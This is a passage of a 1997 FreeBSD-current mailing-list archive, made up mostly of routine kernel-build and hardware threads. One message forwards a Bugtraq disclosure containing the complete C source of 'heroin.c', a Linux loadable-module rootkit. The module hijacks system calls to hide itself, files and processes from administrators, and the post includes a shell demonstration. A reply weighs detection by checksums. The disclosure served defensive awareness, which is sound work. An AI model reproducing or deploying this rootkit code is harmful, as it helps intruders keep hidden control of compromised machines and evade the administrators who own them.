seems to be superfluous. > > ../../i386/isa/sound/uart6850.c: In function `poll_uart6850': > ../../i386/isa/sound/uart6850.c:113: `timeout_func_t' undeclared (first use > this function) > ../../i386/isa/sound/uart6850.c:113: (Each undeclared identifier is > reported only once > ../../i386/isa/sound/uart6850.c:113: for each function it appears in.) > ../../i386/isa/sound/uart6850.c:113: parse error before `poll_uart6850' > *** Error code 1 I've already mentioned this as well. timeout_func_t is gone, Bruce thinks that it has only been used for bogus casts like the above. The actual timeout handlers should be converted to agree with the argument types for a timeout handler, instead of just casting them when passing down to timeout(9). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Wed Nov 5 14:35:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA14748 for current-outgoing; Wed, 5 Nov 1997 14:35:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.5.85]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA14743 for ; Wed, 5 Nov 1997 14:35:28 -0800 (PST) (envelope-from tlambert@usr06.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.8.7/8.8.7) id PAA29062; Wed, 5 Nov 1997 15:35:26 -0700 (MST) Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp04.primenet.com, id smtpd029042; Wed Nov 5 15:35:19 1997 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id PAA10634; Wed, 5 Nov 1997 15:35:18 -0700 (MST) From: Terry Lambert Message-Id: <199711052235.PAA10634@usr06.primenet.com> Subject: Re: Drive Mapping problem To: gemohler@tgn2.tgn.net (Geoff Mohler) Date: Wed, 5 Nov 1997 22:35:18 +0000 (GMT) Cc: current@FreeBSD.ORG In-Reply-To: from "Geoff Mohler" at Nov 5, 97 02:53:15 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Here is the basic setup that I have here: > Tyan S1680S Tahoe, Pentium II 266, 128MB > Adaptec 2940UW pci slot 1, Seagate ST19171W dos C: > Adaptec 2940UW pci slot 2, Seagate ST19171W dos D: > > The problem is, that the machine sees "C:" as 80h, and when you install > FreeBSD, it writes the / partition and the other partitions destined for > SD0 to that wrong drive..DOS drive "D:", or 81h > > When you boot, the BIOS attempts to boot from 80h "C:", and of course > there is no filesystem there, and you get "No Operating System" error. > > Why are FreeBSD and the system BIOS mapping different drives to be the > boot drive? Did you "swap" C: and D: in BIOS? In general, drive letter assignment order on SCSI is exactly the same as SCSI ID order. Unless you specifically configure the SCSI controller specific setup otherwise. If FreeBSD is making a mistake here, then you must have told the controller to lie to the BIOS. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-current Wed Nov 5 14:39:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA15060 for current-outgoing; Wed, 5 Nov 1997 14:39:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA15052 for ; Wed, 5 Nov 1997 14:39:05 -0800 (PST) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.8.8/frmug-2.1/nospam) with UUCP id XAA22177 for freebsd-current@FreeBSD.ORG; Wed, 5 Nov 1997 23:39:01 +0100 (CET) (envelope-from roberto@keltia.freenix.fr) Received: (from roberto@localhost) by keltia.freenix.fr (8.8.7/keltia-2.12/nospam) id XAA23984; Wed, 5 Nov 1997 23:27:50 +0100 (CET) (envelope-from roberto) Message-ID: <19971105232750.42817@keltia.freenix.fr> Date: Wed, 5 Nov 1997 23:27:50 +0100 From: Ollivier Robert To: freebsd-current@FreeBSD.ORG Subject: Re: Make World Times References: <199711051131.MAA03309@sos.freebsd.dk> <19971105104853.40620@vmunix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: <19971105104853.40620@vmunix.com>; from Mark Mayo on Wed, Nov 05, 1997 at 10:48:53AM -0500 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3780 AMD-K6 MMX @ 208 MHz Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Mark Mayo: > If these make world time keep coming down, I predict I'll have it in > my crontab by the end of the year! ;-) With NOCLEAN, I'm generally under 1 hour of "make world" (about 40 mn usually). K6-210, 64 MB, 1 DCAS 34330W (/usr/src, async, noatime), 1 DORS 32160 (/usr/obj, async, noatime), "-O -pipe", NOPROFILE, NOTCL. -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #46: Sun Nov 2 16:51:01 CET 1997 From owner-freebsd-current Wed Nov 5 14:51:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA15590 for current-outgoing; Wed, 5 Nov 1997 14:51:24 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA15583 for ; Wed, 5 Nov 1997 14:51:19 -0800 (PST) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id XAA12999 for freebsd-current@FreeBSD.ORG; Wed, 5 Nov 1997 23:50:57 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id XAA17716; Wed, 5 Nov 1997 23:31:13 +0100 (MET) Message-ID: <19971105233113.DC28602@uriah.heep.sax.de> Date: Wed, 5 Nov 1997 23:31:13 +0100 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-current@FreeBSD.ORG Subject: Re: memory out of range??? References: <345FC6CF.73D2D1A4@excite.com> <199711051450.JAA20238@khavrinen.lcs.mit.edu> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199711051450.JAA20238@khavrinen.lcs.mit.edu>; from Garrett Wollman on Nov 5, 1997 09:50:24 -0500 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Garrett Wollman wrote: > > Bounce buffers (for ISA devices that require DMA: aha, and some > > ethernets) > > And floppy disks! But these are different bounce buffers. Floppy disks are using the motherboard DMAC, while options BOUNCE_BUFFERS refers to busmaster DMA. The motherboard DMA is much more crap^H^H^H^Hlimited so it requires bounce buffers even for a number of transfers below the 16 MB limit (due to the awful hack they're calling `page registers' that reminds me more of my old CP/M machine than of a serious computer). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Wed Nov 5 15:54:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA20080 for current-outgoing; Wed, 5 Nov 1997 15:54:18 -0800 (PST) (envelope-from owner-freebsd-current) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA20064 for ; Wed, 5 Nov 1997 15:54:11 -0800 (PST) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id KAA01293; Thu, 6 Nov 1997 10:23:59 +1030 (CST) Message-ID: <19971106102358.35648@lemis.com> Date: Thu, 6 Nov 1997 10:23:58 +1030 From: Greg Lehey To: FreeBSD current users Subject: Kernel build fails: missing card.h Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk For the last couple of weeks, my -CURRENT kernel build has failed because it couldn't find card.h. It's there, all right, in /sys/pccard/card.h, but config doesn't seem to put it into the /sys/compile/ directory. If I put it there manually, the kernel build works fine. Am I missing something? Yes, I rebuilt config first (well, after the first failure), and it didn't help. Greg From owner-freebsd-current Wed Nov 5 16:25:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA22102 for current-outgoing; Wed, 5 Nov 1997 16:25:36 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ap3.gluk.apc.org (kushnir@ap3.gluk.apc.org [194.183.183.213]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA22094 for ; Wed, 5 Nov 1997 16:25:29 -0800 (PST) (envelope-from kushnir@ap3.gluk.apc.org) Received: from localhost (kushnir@localhost) by ap3.gluk.apc.org (8.8.5/8.8.5) with SMTP id CAA09518 for ; Thu, 6 Nov 1997 02:24:21 +0200 Date: Thu, 6 Nov 1997 02:24:21 +0200 (EET) From: Vladimir Kushnir To: freebsd-current@FreeBSD.ORG Subject: attach_mss for full duplex: possible misspelling? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Sorry, perhaps I'm just plainly stupid but isn't there a misspelling in an attach_mss routine (new sound driver, sound/ad1848.c, lines 1724-1725)? It calls ad1848_init like ad1848_init("MS Sound System0", hw_config->io_base + 4, hw_config->irq, hw_config->dma, hw_config->dma, 0, hw_config->osp); } (with both dma equal). Should not it spell ... hw_config->dma, hw_config->dma2, ... instead? At least, this way it initializes my card (CS4231 based Yamaha OPL3 PnP duplex card) correctly. Regards, Vladimir From owner-freebsd-current Wed Nov 5 16:39:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA23100 for current-outgoing; Wed, 5 Nov 1997 16:39:24 -0800 (PST) (envelope-from owner-freebsd-current) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA23092 for ; Wed, 5 Nov 1997 16:39:18 -0800 (PST) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id QAA20967; Wed, 5 Nov 1997 16:39:02 -0800 (PST) Message-ID: <19971105163902.21224@hydrogen.nike.efn.org> Date: Wed, 5 Nov 1997 16:39:02 -0800 From: John-Mark Gurney To: Greg Lehey Cc: FreeBSD current users Subject: Re: Kernel build fails: missing card.h References: <19971106102358.35648@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <19971106102358.35648@lemis.com>; from Greg Lehey on Thu, Nov 06, 1997 at 10:23:58AM +1030 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greg Lehey scribbled this message on Nov 6: > For the last couple of weeks, my -CURRENT kernel build has failed > because it couldn't find card.h. It's there, all right, in > /sys/pccard/card.h, but config doesn't seem to put it into the > /sys/compile/ directory. If I put it there manually, the > kernel build works fine. Am I missing something? Yes, I rebuilt > config first (well, after the first failure), and it didn't help. did you change controller crd0 to controller card0 which should fix your problems... I was hit by the same problem... there was some cleaning... and the section should now read: controller card0 controller pcic0 at card? controller pcic1 at card? hope this helps... ttyl.. -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-current Wed Nov 5 16:46:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA23559 for current-outgoing; Wed, 5 Nov 1997 16:46:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from digger1.defence.gov.au (digger1.defence.gov.au [203.5.217.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA23523 for ; Wed, 5 Nov 1997 16:45:48 -0800 (PST) (envelope-from Matthew.Thyer@dsto.defence.gov.au) Received: from fang.dsto.defence.gov.au (fang.dsto.defence.gov.au [131.185.2.5]) by digger1.defence.gov.au (8.7.5/8.7.3) with ESMTP id LAA30573 for ; Thu, 6 Nov 1997 11:15:05 +1030 (CST) Received: from eddie.dsto.defence.gov.au (eddie.dsto.defence.gov.au [131.185.2.111]) by fang.dsto.defence.gov.au (8.8.5/) with ESMTP id LAA25953 for ; Thu, 6 Nov 1997 11:15:41 +1030 (CST) Received: from dsto.defence.gov.au (localhost [127.0.0.1]) by eddie.dsto.defence.gov.au (8.8.5/8.8.5) with ESMTP id LAA01206 for ; Thu, 6 Nov 1997 11:15:41 +1030 (CST) Message-ID: <34611335.8601A3B@dsto.defence.gov.au> Date: Thu, 06 Nov 1997 11:15:41 +1030 From: Matthew Thyer Organization: Defence Science Technology Organisation X-Mailer: Mozilla 4.03b8 [en] (X11; I; FreeBSD 3.0-970618-SNAP i386) MIME-Version: 1.0 To: freebsd-current@freebsd.org Subject: [Fwd: Malicious Linux modules - be worried !] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I assume FreeBSD LKMs could do this kind of thing too. > ------------- Begin Forwarded Message ------------- > > >From owner-bugtraq@NETSPACE.ORG Fri Oct 10 00:32:10 1997 > Approved-By: aleph1@UNDERGROUND.ORG > Date: Thu, 9 Oct 1997 00:37:52 -0500 > Reply-To: zarq@1STNET.COM > Sender: Bugtraq List > From: Runar Jensen > Subject: Malicious Linux modules > X-To: linux-security@redhat.com > To: BUGTRAQ@NETSPACE.ORG > Content-Length: 12203 > > As halflife demonstrated in Phrack 50 with his linspy project, it is trivial > to patch any system call under Linux from within a module. This means that > once your system has been compromised at the root level, it is possible for > an intruder to hide completely _without_ modifying any binaries or leaving > any visible backdoors behind. Because such tools are likely to be in use > within the hacker community already, I decided to publish a piece of code to > demonstrate the potentials of a malicious module. > > The following piece of code is a fully working Linux module for 2.1 kernels > that patches the getdents(), kill(), read() and query_module() calls. Once > loaded, the module becomes invisible to lsmod and a dump of /proc/modules by > modifying the output of every query_module() call and every read() call > accessing /proc/modules. Apparently rmmod also calls query_module() to list > all modules before attempting to remove the specified module, and will > therefore claim that the module does not exist even if you know its name. The > output of any getdents() call is modified to hide any files or directories > starting with a given string, leaving them accessible only if you know their > exact names. It also hides any directories in /proc matching pids that have a > specified flag set in its internal task structure, allowing a user with root > access to hide any process (and its children, since the task structure is > duplicated when the process does a fork()). To set this flag, simply send the > process a signal 31 which is caught and handled by the patched kill() call. > > To demonstrate the effects... > > [root@image:~/test]# ls -l > total 3 > -rw------- 1 root root 2832 Oct 8 16:52 heroin.o > [root@image:~/test]# insmod heroin.o > [root@image:~/test]# lsmod | grep heroin > [root@image:~/test]# grep heroin /proc/modules > [root@image:~/test]# rmmod heroin > rmmod: module heroin not loaded > [root@image:~/test]# ls -l > total 0 > [root@image:~/test]# echo "I'm invisible" > heroin_test > [root@image:~/test]# ls -l > total 0 > [root@image:~/test]# cat heroin_test > I'm invisible > [root@image:~/test]# ps -aux | grep gpm > root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm > [root@image:~/test]# kill -31 223 > [root@image:~/test]# ps -aux | grep gpm > [root@image:~/test]# ps -aux 223 > USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND > root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm > [root@image:~/test]# ls -l /proc | grep 223 > [root@image:~/test]# ls -l /proc/223 > total 0 > -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline > lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run > -r-------- 1 root root 0 Oct 8 16:54 environ > lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm > dr-x------ 1 root root 0 Oct 8 16:54 fd > pr--r--r-- 1 root root 0 Oct 8 16:54 maps > -rw------- 1 root root 0 Oct 8 16:54 mem > lrwx------ 1 root root 0 Oct 8 16:54 root -> / > -r--r--r-- 1 root root 0 Oct 8 16:53 stat > -r--r--r-- 1 root root 0 Oct 8 16:54 statm > -r--r--r-- 1 root root 0 Oct 8 16:54 status > [root@image:~/test]# > > The implications should be obvious. Once a compromise has taken place, > nothing can be trusted, the operating system included. A module such as this > could be placed in /lib/modules//default to force it to be loaded > after every reboot, or put in place of a commonly used module and in turn > have it load the required module for an added level of protection. (Thanks > Sean :) Combined with a reasonably obscure remote backdoor it could remain > undetected for long periods of time unless the system administrator knows > what to look for. It could even hide the packets going to and from this > backdoor from the kernel itself to prevent a local packet sniffer from seeing > them. > > So how can it be detected? In this case, since the number of processes is > limited, one could try to open every possible process directory in /proc and > look for the ones that do not show up otherwise. Using readdir() instead of > getdents() will not work, since it appears to be just a wrapper for > getdents(). In short, trying to locate something like this without knowing > exactly what to look for is rather futile if done in userspace... > > Be afraid. Be very afraid. ;) > > .../ru > > ----- > > /* > * heroin.c > * > * Runar Jensen > * > * This Linux kernel module patches the getdents(), kill(), read() > * and query_module() system calls to demonstrate the potential > * dangers of the way modules have full access to the entire kernel. > * > * Once loaded, the module becomes invisible and can not be removed > * with rmmod. Any files or directories starting with the string > * defined by MAGIC_PREFIX appear to disappear, and sending a signal > * 31 to any process as root effectively hides it and all its future > * children. > * > * This code should compile cleanly and work with most (if not all) > * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57. > * It will not compile as is under 2.0.30, since 2.0.30 lacks the > * query_module() function. > * > * Compile with: > * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c > */ > > #include > #include > #include > #include > #include > #include > > #include > #include > #include > > #define MAGIC_PREFIX "heroin" > > #define PF_INVISIBLE 0x10000000 > #define SIGINVISI 31 > > int errno; > > static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); > static inline _syscall2(int, kill, pid_t, pid, int, sig); > static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); > static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, > bufsize, size_t *, ret); > > extern void *sys_call_table[]; > > int (*original_getdents)(unsigned int, struct dirent *, unsigned int); > int (*original_kill)(pid_t, int); > int (*original_read)(int, void *, size_t); > int (*original_query_module)(const char *, int, void *, size_t, size_t *); > > int myatoi(char *str) > { > int res = 0; > int mul = 1; > char *ptr; > > for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { > if(*ptr < '0' || *ptr > '9') > return(-1); > res += (*ptr - '0') * mul; > mul *= 10; > } > return(res); > } > > void mybcopy(char *src, char *dst, unsigned int num) > { > while(num--) > *(dst++) = *(src++); > } > > int mystrcmp(char *str1, char *str2) > { > while(*str1 && *str2) > if(*(str1++) != *(str2++)) > return(-1); > return(0); > } > > struct task_struct *find_task(pid_t pid) > { > struct task_struct *task = current; > > do { > if(task->pid == pid) > return(task); > > task = task->next_task; > > } while(task != current); > > return(NULL); > } > > int is_invisible(pid_t pid) > { > struct task_struct *task; > > if((task = find_task(pid)) == NULL) > return(0); > > if(task->flags & PF_INVISIBLE) > return(1); > > return(0); > } > > int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) > { > int res; > int proc = 0; > struct inode *dinode; > char *ptr = (char *)dirp; > struct dirent *curr; > struct dirent *prev = NULL; > > res = (*original_getdents)(fd, dirp, count); > > if(!res) > return(res); > > if(res == -1) > return(-errno); > > #ifdef __LINUX_DCACHE_H > dinode = current->files->fd[fd]->f_dentry->d_inode; > #else > dinode = current->files->fd[fd]->f_inode; > #endif > > if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) > proc = 1; > > while(ptr < (char *)dirp + res) { > curr = (struct dirent *)ptr; > > if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || > (proc && is_invisible(myatoi(curr->d_name)))) { > > if(curr == dirp) { > res -= curr->d_reclen; > mybcopy(ptr + curr->d_reclen, ptr, res); > continue; > } > else > prev->d_reclen += curr->d_reclen; > } > else > prev = curr; > > ptr += curr->d_reclen; > } > > return(res); > } > > int hacked_kill(pid_t pid, int sig) > { > int res; > struct task_struct *task = current; > > if(sig != SIGINVISI) { > res = (*original_kill)(pid, sig); > > if(res == -1) > return(-errno); > > return(res); > } > > if((task = find_task(pid)) == NULL) > return(-ESRCH); > > if(current->uid && current->euid) > return(-EPERM); > > task->flags |= PF_INVISIBLE; > > return(0); > } > > int hacked_read(int fd, char *buf, size_t count) > { > int res; > char *ptr, *match; > struct inode *dinode; > > res = (*original_read)(fd, buf, count); > > if(res == -1) > return(-errno); > > #ifdef __LINUX_DCACHE_H > dinode = current->files->fd[fd]->f_dentry->d_inode; > #else > dinode = current->files->fd[fd]->f_inode; > #endif > > if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) > return(res); > > ptr = buf; > > while(ptr < buf + res) { > if(!mystrcmp(MAGIC_PREFIX, ptr)) { > match = ptr; > while(*ptr && *ptr != '\n') > ptr++; > ptr++; > mybcopy(ptr, match, (buf + res) - ptr); > res = res - (ptr - match); > return(res); > } > while(*ptr && *ptr != '\n') > ptr++; > ptr++; > } > > return(res); > } > > int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret) > { > int res; > int cnt; > char *ptr, *match; > > res = (*original_query_module)(name, which, buf, bufsize, ret); > > if(res == -1) > return(-errno); > > if(which != QM_MODULES) > return(res); > > ptr = buf; > > for(cnt = 0; cnt < *ret; cnt++) { > if(!mystrcmp(MAGIC_PREFIX, ptr)) { > match = ptr; > while(*ptr) > ptr++; > ptr++; > mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); > (*ret)--; > return(res); > } > while(*ptr) > ptr++; > ptr++; > } > > return(res); > } > > int init_module(void) > { > original_getdents = sys_call_table[SYS_getdents]; > sys_call_table[SYS_getdents] = hacked_getdents; > > original_kill = sys_call_table[SYS_kill]; > sys_call_table[SYS_kill] = hacked_kill; > > original_read = sys_call_table[SYS_read]; > sys_call_table[SYS_read] = hacked_read; > > original_query_module = sys_call_table[SYS_query_module]; > sys_call_table[SYS_query_module] = hacked_query_module; > > return(0); > } > > void cleanup_module(void) > { > sys_call_table[SYS_getdents] = original_getdents; > sys_call_table[SYS_kill] = original_kill; > sys_call_table[SYS_read] = original_read; > sys_call_table[SYS_query_module] = original_query_module; > } > > ----- > > ----- > Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com > Network Administrator | or (800) 264-7440 | or zarq@opaque.org > Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com > FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject] > ------------- End Forwarded Message ------------- -- Matthew Thyer Phone: +61 8 8259 7249 Corporate Information Systems Fax: +61 8 8259 5537 Defence Science and Technology Organisation, Salisbury PO Box 1500 Salisbury South Australia 5108 From owner-freebsd-current Wed Nov 5 17:25:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA25803 for current-outgoing; Wed, 5 Nov 1997 17:25:57 -0800 (PST) (envelope-from owner-freebsd-current) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA25795 for ; Wed, 5 Nov 1997 17:25:54 -0800 (PST) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id RAA04958; Wed, 5 Nov 1997 17:28:12 -0800 (PST) Message-Id: <199711060128.RAA04958@implode.root.com> To: "John W. DeBoskey" cc: freebsd-current@FreeBSD.ORG Subject: Re: fxp0 causes machine lockup In-reply-to: Your message of "Wed, 05 Nov 1997 17:09:45 EST." <199711052209.AA29928@iluvatar.unx.sas.com> From: David Greenman Reply-To: dg@root.com Date: Wed, 05 Nov 1997 17:28:11 -0800 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > In looking through the archives I found this message which appears >to be similar, though with different hardware: > >>From: "Mike Durian" >>Date: Wed, 01 Oct 1997 12:45:27 -0600 >>Subject: strange interaction with Pentium and fxp ... That turned out to be caused by some local kernel changes that they had made - they had a SCSI card's EEPROM responding to physical addresses that were in the area of system RAM. This caused the DMA to hang; it wasn't bug in FreeBSD or the hardware and it went away when they fixed their code. I don't have any idea why your machine is hanging. Very odd and your's is the only report I've gotten of a problem like that. The first thing to do would be to figure out if it is a DMA or interrupt problem by adding printf's all over the place inside the driver, and then see where it dies. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-current Wed Nov 5 17:40:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA27016 for current-outgoing; Wed, 5 Nov 1997 17:40:46 -0800 (PST) (envelope-from owner-freebsd-current) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA26997 for ; Wed, 5 Nov 1997 17:40:33 -0800 (PST) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA02789; Thu, 6 Nov 1997 12:10:17 +1030 (CST) Message-ID: <19971106121017.16581@lemis.com> Date: Thu, 6 Nov 1997 12:10:17 +1030 From: Greg Lehey To: John-Mark Gurney Cc: FreeBSD current users Subject: Re: Kernel build fails: missing card.h References: <19971106102358.35648@lemis.com> <19971105163902.21224@hydrogen.nike.efn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <19971105163902.21224@hydrogen.nike.efn.org>; from John-Mark Gurney on Wed, Nov 05, 1997 at 04:39:02PM -0800 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Nov 05, 1997 at 04:39:02PM -0800, John-Mark Gurney wrote: > Greg Lehey scribbled this message on Nov 6: >> For the last couple of weeks, my -CURRENT kernel build has failed >> because it couldn't find card.h. It's there, all right, in >> /sys/pccard/card.h, but config doesn't seem to put it into the >> /sys/compile/ directory. If I put it there manually, the >> kernel build works fine. Am I missing something? Yes, I rebuilt >> config first (well, after the first failure), and it didn't help. > > did you change > controller crd0 > to > controller card0 Well, no. This isn't a PCCARD machine, so it has neither crd0 nor card0. Why should I need this in a desktop? In any case, I tried it, and it still doesn't work. The files that fail to compile are i386/i386/autoconf.c, i386/isa/if_ed.c, i386/isa/if_ep.c and i386/isa/sio.c. Thanks for your help, anyway. Greg From owner-freebsd-current Wed Nov 5 17:50:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA28007 for current-outgoing; Wed, 5 Nov 1997 17:50:15 -0800 (PST) (envelope-from owner-freebsd-current) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA28002 for ; Wed, 5 Nov 1997 17:50:04 -0800 (PST) (envelope-from chuckr@glue.umd.edu) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.8.7/8.8.5) with SMTP id TAA05634; Wed, 5 Nov 1997 19:47:04 -0500 (EST) X-Authentication-Warning: picnic.mat.net: chuckr owned process doing -bs Date: Wed, 5 Nov 1997 19:47:03 -0500 (EST) From: Chuck Robey X-Sender: chuckr@localhost To: Matthew Thyer cc: freebsd-current@FreeBSD.ORG Subject: Re: [Fwd: Malicious Linux modules - be worried !] In-Reply-To: <34611335.8601A3B@dsto.defence.gov.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 6 Nov 1997, Matthew Thyer wrote: > I assume FreeBSD LKMs could do this kind of thing too. [mail header stuff elided] > > As halflife demonstrated in Phrack 50 with his linspy project, it is trivial > > to patch any system call under Linux from within a module. This means that > > once your system has been compromised at the root level, it is possible for > > an intruder to hide completely _without_ modifying any binaries or leaving > > any visible backdoors behind. Because such tools are likely to be in use > > within the hacker community already, I decided to publish a piece of code to > > demonstrate the potentials of a malicious module. I guess this'd be possible? It seems a kinda trivial thing, to be able to get a kernel to be able to recognize valid LKMs. I may not see all the problems with this, because I always compile my own kernel/LKMs, but it seems pretty simple, and low cost, to embed something akin to md5 checksums. I don't always tend to be the most paranoid person around, so it seems a lot of trouble, tho, because if someone's got root privs already, this is just one of many possible things to kill. Why go to this kind of trouble, when there are easier ways. As far as that goes, I could easily md5 check my LKMs right now, and put a cron job up to check them as often as I please, right? No way around that at all. It seems to be to be far more important to protect against the initial attack, than to go crazy trying to figure out how many ways someone who already has root privs can hurt you. ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@glue.umd.edu | communications topic, C programming, and 